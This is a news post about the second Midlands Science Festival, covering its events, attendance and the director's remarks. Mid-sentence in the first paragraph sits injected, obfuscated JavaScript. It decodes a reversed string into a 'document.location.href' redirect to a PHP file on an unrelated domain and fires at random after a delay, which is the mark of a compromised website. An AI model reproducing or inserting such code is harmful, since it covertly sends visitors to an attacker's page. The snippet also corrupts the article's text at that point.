Festival Success….

With over fifty events ranging from entertaining FameLab workshops and enthralling reptile visits to science bubble shows and brilliant presentations on ‘why we age’ and the scientific heritage of the Midlands, there really was something for all age groups during this year’s Midlands Science Festival. It was therefore no surprise that the number of people in attendance this year reached over 4,500 people. Events were held in venues around the region with many taking place at Athlone Institute of Technology, others in schools and even out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors.

Jackie Gorman, Direc tor of the Midlands Science Festival commented,
‘I am delighted at the success of our second Midlands Science Festival, which as promised was bigger and better than the one we ran last year in. It was wonderful to see so many families attending some of our new events such as ‘Stargazing on the Bog’ on the final night and it was also fantastic to see some of our key speakers interacting with audiences in very relaxed settings such as libraries, pubs and cafes this year. Organising such a large event is certainly a challenge but one we really enjoyed and I wish to thank Science Foundation Ireland, all of our partners, speakers, performers and host venues once again for making this all possible.’

Visi tors to this year’s festival also had the opportunity to attend talks by some of Ireland’s leading scientists (See Tullamore Alchemist Café in pho to). It was great to see audiences of all ages, ranging from school pupils and teenagers to highly respected science experts, communica tors and professors. The festival is a fantastic way to really capture the imagination and show people that science can be fun.

A good number of Midlands students also had the opportunity to avail of some high level careers advice from companies such as Cpl Recruitment and Midlands based multinational technology firm Ericsson, who are also on board as a key partner to the 2014 Midlands Science Festival.

The organisers of the Midlands Science Festival also wish to thank the public, many of whom travelled from beyond the region to attend some of the events which took place this year.

Jackie Gorman continued,
‘We have been overwhelmed by the level of enthusiasm and goodwill from our partners, local media, venues and many other organisations and individuals throughout the region. The large public turnout totalling over 4,500 people in attendance shows the appetite for this type of regional event and after another successful year, we can hopefully look forward to bringing the Midlands Science Festival back to this region again.’